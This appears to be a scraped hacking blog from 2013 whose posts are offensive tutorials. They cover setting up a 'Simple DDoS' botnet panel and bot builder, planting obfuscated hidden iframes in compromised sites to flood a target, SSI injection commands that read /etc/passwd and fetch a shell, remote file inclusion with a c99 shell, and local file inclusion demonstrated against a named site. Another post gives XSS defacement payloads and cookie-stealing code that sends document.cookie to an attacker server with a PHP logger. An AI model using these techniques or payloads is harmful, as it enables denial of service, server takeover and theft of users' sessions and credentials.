Things needed:

-WebHosting account (free or paid)
-Domain with MySql
-Simle DDos 0.2 files
-Brain to spread it!

In this tutorial i'm using http://000webhost.com/
Create an free account here if interested.

Note: My personal info like domain name and hosting id are covered with black color!

STEPS

-Open your Cpanel and press 'MySql'.

-In 'MySql' under 'Create new database and user' fill in fields and press 'Create database'.

-After pressed 'Create database' this will appear

Leave that window opened and take next step.

-Now open your folder with Simple DDos files,press right click on folder 'Admin' and choose 'Add to archive...'.In new window check 'ZIP' and click 'OK'.

-In your Cpanel press 'File Manager' and in new window type your password to login.

-When logged in 'File Manager' open 'Public_html' folder and press 'Upload' button.

Image has been scaled down 2% (870x373). Click this bar to view original image (884x379). Click image to open in new window.

-After pressed 'upload' this window will appear.

Image has been scaled down 2% (870x499). Click this bar to view original image (886x508). Click image to open in new window.

In that window press the button on right side,choose your admin.zip file from computer,and press 'V' button to upload it.

-When upload finished,new folder 'admin' will be created in 'Public_html',open that folder,check 404.php file and press 'Rename' button.
Rename it to anything you want (example. 4044.php) and press 'V' button to submit.

Image has been scaled down 3% (870x872). Click this bar to view original image (888x890). Click image to open in new window.

-Now go back to 'admin' folder and press 'Edit' button in front of the 'config.php' file.

Image has been scaled down 2% (870x935). Click this bar to view original image (887x953). Click image to open in new window.

-When file opened and ready to edit,fill in the 'MySql' info and press save button.
See details on picture down.

Image has been scaled down 15% (870x961). Click this bar to view original image (1019x1125). Click image to open in new window.

-When saved 'config.php' file,go back to 'admin' folder and press 'Open' button in front of the 'admin.php' file.
New window will appear,fill 'Login:' and 'Password:' TextBoxes with your 'config.php' info (example: 'Login:user' 'Password:test') and press 'Login' button
When pressed 'Login' button and logged in Simple DDos,press 'Install database...' button.

Image has been scaled down 2% (870x902). Click this bar to view original image (886x918). Click image to open in new window.

-When did it new window will appear,you need to configure your Simple DDos settings now.

Image has been scaled down 9% (870x1009). Click this bar to view original image (954x1106). Click image to open in new window.

'URLs' = Website address or IP you are attacking (you can put multiple colones).

'Stream' = '200'

'Interval' = '120'

-Now Building the bot.
Open your Simple DDos folder,then open 'BUILDER' folder and run 'build.exe'.
In 'URL' textbox put your Simple DDos folder url (example. http://yoursite.domain/admin/)
Then click 'Build' button,and after that 'OK' button.
File 'bot.exe.exe' will be created,rename it to 'something.exe'.

Tutorial from http://hacking-share.blogspot.com/2012/10/simple-ddos-02-setup-detailed.html

Havij 1.15 Pro

2013-02-08T05:53:00.002-08:00

TUTORIAL

Downlaod this tool for automatic sql injection from

HERE !

6 Ebooks Every Hacker Should Have

2013-02-08T04:43:00.001-08:00

Here are 6 e-books every hacker must have !

1. CEHv7

The latest study guide for the Certified Ethical Hacker certification. If you are trying to become a certified ethical hacker, then obviously you are going to want this.

2. Grey Hat Hacking, 2nd Edition

This is more than just about hacking. This book goes over several programming languages before exploitation is even a thought, even for a beginner. After all, what kind of hacker can't write code? ;)

3. Hacking- The Art of Exploitation

Very good book to read, alot of good knowledge to be obtained from this one. Some parts are a little tricky to understand, but alot can be learned from this book.

4. Hacking- The Art of Exploitation, 2nd Edition

A follow up to the first book, this 2nd edition is a great rewrite of Jon Erikson's guide to exploitation, essentially tying up the loose ends from the first book and going over some over things in a different order that the first book might have left out.

5. Metasploit- A Penetration Testers Guide

The best Metasploit guide ever. David Kennedy really went all out with this one, as he attempts to explain the entire Metasploit Framework from start to finish. If you are a fan of Metasploit, this book is definitely for you.

6. The Shellcoders Handbook, 2nd Edition

The ultimate in exploitation books. Every processor architecture, writing your own raw shellcode, exploiting all kinds of vulnerabilities. A must read for the true hacker.

Download all the e-books from HERE

Post from hackforums.net

Google Dorks Lists

2013-02-07T06:31:00.002-08:00

In this place I ll post google dorks ! !This webpage will be constantly updated!

http://pastebin.com/CzpejWsM<--1153 dorks

http://pastebin.com/b2UnJAC3<--168 dorks

http://www.exploit-db.com/google-dorks/

Difference Between a DoS and a DDoS Attack.

2013-02-05T04:02:00.001-08:00

DoS: a DoS Attack is a Denial of Service attack- it involves using one computer / Internet connection to flood a server with packets (TCP / UDP) - The Objective of this attack is to 'overload' the servers bandwidth / other resources, This will cause a Denial of Service to anyone else that tries to use the server for whatever reason (HTTP [Website]).etc - hence the name Denial of Service Attack.

DDoS: Yes, There IS a difference- a DDoS Attack (or Distributed Denial of Service Attack) is pretty much the same as a DoS- but the difference in results is massive; as its name suggests the DDoS attack is executed using a distributed computing method often referred to as a 'botnet army', the creation process of which involves infecting computers with a form of malware that gives the botnet owner access to the computer somewhat- this cold be anything from simply using the computers connection to flood to total control of the computer - these attacks affect the victims computer -> server more than a regular DoS- because multiple connections are being used against ONE connection, Think of it like a fight, if there is a 1-on-1 fight; the chance of the good guy winning is far higher than if he was being beaten up by several thousand tough-guys

Hope you enjoyed!!

From pirabloshacks.com

When a webpage is vulnerable at SQl Injection?

2013-02-03T06:16:00.003-08:00

Depending on how the application is coded the error will be like the following :

1. The SQL error is displayed on the page and is visible to the user from the

2.Web browser.The SQL error is hidden in the source of the Web page for debugging purposes.

3. Redirection to another page is used when an error is detected.

4. An HTTP error code 500 (Internal Server Error) or HTTP redirection code 302 is retured.

5.The application handles the error properly and simply shows no results, perhaps displaying a generic error page.

Fom the book :

SQL Injection  - Attacks and Defense

ophcrack a Windows password cracker tool

2013-02-02T04:15:00.001-08:00

ophcrack is a tool that can crack windows passwords .

The tool ophcrack uses raibow tables in order to "uncover" LM and NT hashes of the files SAM.

There are two versions of ophcrack . One that runs on live-CD (boot cd before the windows start) and one which has to installed in the victims computer.
You can downlaod both versions from here -->http://ophcrack.sourceforge.net/

SQL Injection : Attacks and Defense (ebook)

2013-02-01T12:46:00.000-08:00

Here is an ebook (one of my favorites) where you can improve your SQL Injections' techniques to the best !

In there you can find the following stuff !

SQL Injection  - Attacks and Defense



- What is SQL injection?-Understand what it is and how it works


- Find, confirm, and automate SQL injection discovery


- Discover tips and tricks for finding SQL injection within the code


- Create exploits using SQL injection


- Design to avoid the dangers of these attacks

Here is the download link safe as usual .

Download the book from HERE

DDOS srcipt for webpages.

2013-02-01T12:25:00.001-08:00

What I mean ?
I mean that some hackers when they get into a server they do not deface the website but they use it for DDOS attacks.

Here are some srcripts that I have made or found.

Some hackers just post this script in the webpage.

<IFRAME SRC="www.victim.com" WIDTH=0 HEIGHT=0
frameborder=0></IFRAME>

This srcipt is so simple that a normal html programmer will see it and probably delete it.

So they put the following in the site which is far more less attractive.

<script language="javascript">
for(i=1; i<=10; i++)
document.write( unescape(
'%3C%49%46%52%41%4D%45%20%53%52%43%3D%22%68%74%74%70%
3A%2F%2F%77%77%77%2E%73%33%63%75%72%65%2E%67%72%22%20
%57%49%44%54%48%3D%30%20%48%45%49%47%48%54%3D%30%20%66%72%61%6D%
65%62%6F%72%64%65%72%3D%30%3E%3C%2F%49%46%52%41%4D%45%3E%0A%
0A%09%09%09')) ;

</script>

The i<=10 just create 10 iframes for better DDOS attack.
The '%3C%49%46%52%41%4D%45%20%53%52%43%3D%22%68%74%74%70%
3A%2F%2F%77%77%77%2E%73%33%63%75%72%65%2E%67%72%22%20
%57%49%44%54%48%3D%30%20%48%45%49%47%48%54%3D%30%20%66%72%61%6D%
65%62%6F%72%64%65%72%3D%30%3E%3C%2F%49%46%52%41%4D%45%3E%0A%
0A%09%09%09')) ; is escaped characters in order to camouflage the code ;P

In the end they plant at the HEADER of the site the following command:

<meta http-equiv="refresh" content="10">

With this way , the webpage makes the browser refreshes every 10 seconds.

Thanks for reading ! ;)
Tell me your opinion by making a comment AND do not forget to JOIN my blog!

SSL Injection (Basic Tutorial)

2013-02-01T11:09:00.000-08:00

What is It?

A Server Side Include Attack is an Extremely Useful attack for executing commands on the server. You need basic knowledge of Bash or Batch to know what commands could help compromise the server to do this.

What Sites are Vulnerable?

For a site to be vulnerable to SSI Injection, Apache needs Server Side Includes aloud in the config file or the file extention must end in ‘.shtml’ ‘.shtm’ or ‘.stm’ both Apache, lighthttpd and IIS support SSI.

Testing for SSI Injection

To audit a site to check if it is vulnerable to SSI Injection you search all the directories for ‘.shtml’ ‘.shtm’ or ‘.stm’ extentions, if you find any then its probably enabled, if you dont find any it still may be enabled. It effects pages with unsanitized requests, (eg no filters, filtering < !–#exec …–>) To test you enter the following command into the request

< !–#exec cmd=”ls” –>

If you get a filesystem output appear then it is vulnerable, if the server is Windows replace the ‘ls’ for ‘dir’

You test for SSI the same way as XSS, you can post the command into

- Textboxes/search boxes

- Headers

- Cookies

- Address Bar

Useful Commands

Show Files Linux

< !–#exec cmd=”ls” –>

Show Files Windows

< !–#exec cmd=”dir” –>

Read /etc/passwd

<!–#include virtual=”/etc/passwd” –>

What User Is the webserver running on

< !–#exec cmd=”whoami” –>

Download a shell to the server to get full control

< !–#exec cmd=”wget “shell.php”" –>

Dorks

Simillar to SQLi dorks, they get a list of sites that may or may not be vulnerable to SSI Injection

inurl:index.shtml

inurl:index.shtm

inurl:index.stm

There's many others but you can just use your imagination.

Hope you liked this tutorial.

R.F.I. (Basic Tutorial)

2013-02-01T06:14:00.003-08:00

Ok so remote file inclusion is including a file from your site on another site/server

normally people will include a c99 shell and there is 1 HERE

so then all you have to do is find a site

so lets say we have a site

http://www.example.com/index.php?page=blog.php

ok so to find if it's vulnerable goto index.php and view the source

newbies "right click-->view page source"

if the inclusion code is something like :

Code:

<?php

$page = $_GET['page'];

include($page);

then it's possible to include our file on there site

finding vuln sites is easier than ever now that google code search is out

http://www.google.com/codesearch

so lets say the http://www.example.com/index.php has that code in it

now we try this

http://www.example.com/index.php?page=http:/...om/c99.txt

you see this will show your c99 shell on there site

so when it had the include function for blog.php it was including that page in that site.

a common flaw seeming that people use it so much bcoz of it's simplicity

now this should work

but if it shows shell in it's origional text form

then

but dont try a .php shell on there

coz you see

if you upload the shell to your account on lets say spam.com

and save it as .php

whn you include the shell it will show the shell on your site

so you will just be defacing your t35 account from a different site

so it has to be in .txt form

if it shows the shell i reccomend uploading a shell from the included shell

bcoz it makes it much easier to manage

also you can go back to the shell if they fix the bugs

Happy Hacking

L.F.I (Basic Tutorial)

2013-02-01T06:04:00.000-08:00

Hello, this is a simple tutorial on how to do Local File Inclusion (LFI).

First of all, an example of a vulnerable PHP code is this:

Code:

$page = $_GET[page];

include($page);

Now, here's a google dork:

Code:

inurl:redirect.php?page=

Search that in google, and you should come up with a link like this:

Code:

http://www.x17agency.com/redirect.php?page=_CLI/contact.php

To test if it's vulnerable, please put this code in:

Code:

http://www.x17agency.com/redirect.php?page=../../../../../etc/passwd

After you have put that code in, which is "../../../../../etc/passwd", you should come up with something like this:

## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # This file will not be consulted for authentication unless the BSD local node # is enabled via /Applications/Utilities/Directory Utility.app # # See the DirectoryService(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _pcastagent:*:55:55:Podcast Producer Agent:/var/pcast/agent:/usr/bin/false _pcastserver:*:56:56:Podcast Producer Server:/var/pcast/server:/usr/bin/false _serialnumberd:*:58:58:Serial Number Daemon:/var/empty:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/virusmails:/usr/bin/false _jabber:*:84:84:Jabber XMPP Server:/var/empty:/usr/bin/false _xgridcontroller:*:85:85:Xgrid Controller:/var/xgrid/controller:/usr/bin/false _xgridagent:*:86:86:Xgrid Agent:/var/xgrid/agent:/usr/bin/false _appowner:*:87:87:Application Owner:/var/empty:/usr/bin/false _windowserver:*:88:88:WindowServer:/var/empty:/usr/bin/false _spotlight:*:89:89:Spotlight:/var/empty:/usr/bin/false _tokend:*:91:91:Token Daemon:/var/empty:/usr/bin/false _securityagent:*:92:92:SecurityAgent:/var/empty:/usr/bin/false _calendar:*:93:93:Calendar:/var/empty:/usr/bin/false _teamsserver:*:94:94:TeamsServer:/var/teamsserver:/usr/bin/false _update_sharing:*:95:-2:Update Sharing:/var/empty:/usr/bin/false _installer:*:96:-2:Installer:/var/empty:/usr/bin/false _atsserver:*:97:97:ATS Server:/var/empty:/usr/bin/false _unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

A non-shadowed file would look like this:

Code:

username:passwd:UID:GID:full_name:directory:shell

All you have to do is decode the password.

Here are some "interesting" places you might want to visit:

Code:

/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default

If you have any problems just write a comment !

XSS (Basic Tutorial)

2013-02-01T05:47:00.001-08:00

XSS or Cross Site Srcipting

XSS is simply : Executing abritrary JavaScript code on the page.

In this tutorial I will show you how to hack a website using XSS.The ones I used for demonstration I did not hurt, and I take no responsibility if you do use them.

Parts Of The Tutorial:

1)Vulnerability Test

2)Defacing

3)Stealing Login Information

Vulnerability Test:

It's pretty simple to find a XSS vulnerability.

Steps:

1)Find a textbox in the site or something where you can submit text.

2)Type in the following:

Code:

3)If it is vulnerable it should look like this:

(image from google)

Defacing:

There are some ways to deface a site when you find a XSS vulnerability.

Makes A Picture Pop-Up:

Code:

"><script>location="www.[censored].com/YOURDEFACEPIC";</script>

Replace The Content Of The Page By An Image:

Code:

Redirect To A Webpage:

Code:

Stealing Login Information:

The first way to do it is to put the following code on the textbox.If there is an Username field and a Password field just put it on both.

Code:

It should look like this if it is vulnerable and there is any login information:

Then just get an cookie editor for Firefox or use Opera browser(which has an cookie editing function)

Cookie Stealing:

In this way of cookie stealing, you set files in a server and then you inject XSS into the login(s)/url.

I didint made the code's for this part, thats why I dont explain 2 mutch.

URL/Login:

Code:

Code:

Code:

document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;

</script>

Cookiestealer.php:

Code:

mail("Your-Email@gmail.com","cookie monster",$_REQUEST['cookie']);

<html>

</html>

Code:

<?php

$cookie = $_GET['cookie'];

$log = fopen("log.txt", "a");

fwrite($log, $cookie ."\n");

fclose($log);

In the one up you should have the following files on your server:

-cookiestealer.php(The Script)

-log.txt(The File Where The Logs Will Be Stored)

This is for any page that has got a Text Box and a Submit Button and that accepts HTML tags(Like Those Blog Commentary Posters):

Code:

<a href="javascript:void(document.location='http://yoursite.com/cookiestealer.php?cookie='+

document.cookie)">Something</a>